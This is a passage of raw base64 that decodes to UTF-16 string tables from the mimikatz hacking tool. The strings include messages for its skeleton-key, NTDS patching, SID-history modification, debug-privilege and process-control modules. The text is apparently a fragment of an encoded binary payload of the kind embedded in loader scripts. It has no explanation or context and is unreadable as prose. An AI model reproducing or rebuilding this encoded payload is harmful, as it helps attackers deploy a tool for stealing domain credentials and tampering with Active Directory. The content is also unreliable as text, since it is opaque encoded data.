AYQB0AGMAaAAgAE8ASwAKAAAAAAAAAAAAWwBSAEMANABdACAAZABlAGMAcgB5AHAAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIAByAGUAbQBvAHQAZQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABhAHMAIABpAG4AcAB1AHQAIABmAGkAbABlAAoAAAAAAAAAIAAqACAATwByAGkAZwBpAG4AYQBsACAAcwBpAHoAZQAgACAAOgAgACUAdQAKAAAAbQBpAG0AaQBrAGEAdAB6AF8AeAA2ADQALgBjAG8AbQBwAHIAZQBzAHMAZQBkAAAAIAAqACAAQwBvAG0AcAByAGUAcwBzAGUAZAAgAHMAaQB6AGUAOgAgACUAdQAgACgAJQAuADIAZgAlACUAKQAKAFUAcwBpAG4AZwAgACcAJQBzACcAIABhAHMAIABvAHUAdABwAHUAdAAgAGYAaQBsAGUALgAuAC4AIAAAAAAAAABPAEsAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABsAG8AYwBhAGwAZwByAG8AdQBwAAAAAABnAHIAbwB1AHAAAAAAAAAAbgBlAHQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGk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AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATgBhAG0AZQAgACAAOgAgACUAcwAKAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBTAEkARAAgACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFMAaQBkAEQAbwBtAGEAaQBuAEYAcgBvAG0ATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIAAvAHMAaQBkACAAbwByACAALwBuAGEAbQBlACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAbwBiAGoAZQBjAHQAUwBpAGQAAAAAAAAAbgBlAHcAAAAAAAAAAAAAAAoAIAAgACoAIABXAGkAbABsACAAdAByAHkAIAB0AG8AIABtAG8AZABpAGYAeQAgACcAJQBzACcAIAB0AG8AIAAnAAAAAAAAACcAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAG0AbwBkAGkAZgB5ACAAOwAgAGwAZABhAHAAXwBtAG8AZABpAGYAeQBfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBtAG8AZABpAGYAeQAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAG0AbwBkAGkAZgB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbQBvAGQAaQBmAHkAIAA7ACAALwBuAGUAdwA6AHMAaQBkACAAaQBzACAAbgBlAGUAZABlAGQAAAAAAAAAAABzAEkARABIAGkAcwB0AG8AcgB5AAAAAAAAAAAAAAAAAAoAIAAgACoAIABXAGkAbABsACAAdAByAHkAIAB0AG8AIABhAGQAZAAgACcAJQBzACcAIAB0AGgAaQBzACAAbgBlAHcAIABTAEkARAA6ACcAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGEAZABkACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAALwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAUwBpAGQARABvAG0AYQBpAG4ARgByAG8AbQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGEAZABkACAAOwAgAC8AbgBlAHcAOgBzAGkAZAAgAG8AcgAgAC8AbgBlAHcAOgByAGUAcwBvAGwAdgBhAGIAbABlAF8AbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAAAAAAAAAoAIAAgACoAIABXAGkAbABsACAAdAByAHkAIAB0AG8AIABjAGwAZQBhAHIAIAAnACUAcwAnADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBjAGwAZQBhAHIAIAA7ACAATgBvACAAcwBJAEQASABpAHMAdABvAHIAeQAgAGEAdAB0AHIAaQBiAHUAdABlAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYwBsAGUAYQByACAAOwAgAGwAZABhAHAAXwBtAG8AZABpAGYAeQBfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAHMAYQBtAHMAcwAAAAAAAABuAHQAZABzAGEALgBkAGwAbAAAAAAAAABuAHQAZABzAGEAaQAuAGQAbABsAAAAAABQAGEAdABjAGgAIAAxAC8AMgA6ACAAAABQAGEAdABjAGgAIAAyAC8AMgA6ACAAAAAKACUAcwAKAAAAAAAAAAAAIAAgACUAcwA6ACAAAAAAAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQAAAAAAJQAqAFMACgAAAAAAAAAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAAoAIAAgACAAWwAlAHUAXQAgAAAAAAAAACAAKAAgACUAcwAgAC0ALQAgACUAcwBcACUAcwAgACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAE4AbwAgAHIAZQBzAHUAbAB0ACEAIAAtACAAZgBpAGwAdABlAHIAIAB3AGEAcwAgACcAJQBzACcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAATgBvAHQAIAB1AG4AaQBxAHUAZQAgAC0AIABQAGwAZQBhAHMAZQA6ACAAZABvAG4AJwB0ACAAYgByAGkAYwBrACAAeQBvAHUAcgAgAEEARAAhACAALQAgAGYAaQBsAHQAZQByACAAdwBhAHMAIAAnACUAcwAnAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAoAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQA9ACUAcwApAAAAKABvAGIAagBlAGMAdABTAGkAZAA9AAAAXAAlADAAMgB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAALwBzAGEAbQAgAG8AcgAgAC8AcwBpAGQAIAB0AG8AIAB0AGEAcgBnAGUAdAAgAHQAaABlACAAYQBjAGMAbwB1AG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AYgBpAG4AZABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABMAGQAYQBwAEEAbgBkAFIAbwBvAHQARABOACAAOwAgAGwAZABhAHAAXwBpAG4AaQB0AAoAAAAAAHIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAACgAZABuAD0AUgBvAG8AdABEAFMARQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AZwBlAHQAXwB2AGEAbAB1AGUAcwBfAGwAZQBuACAAaQBzACAATgBPAFQAIAAxAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABlAHgAaQB0AAAAAAAAAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABjAGwAcwAAAAAAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAAAAAAAAAAAAQQBuAHMAdwBlAHIAIAB0AG8AIAB0AGgAZQAgAFUAbAB0AGkAbQBhAHQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAG8AZgAgAEwAaQBmAGUALAAgAHQAaABlACAAVQBuAGkAdgBlAHIAcwBlACwAIABhAG4AZAAgAEUAdgBlAHIAeQB0AGgAaQBuAGcAAAAAAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAAAAAAAAcwBsAGUAZQBwAAAAAAAAAAAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0A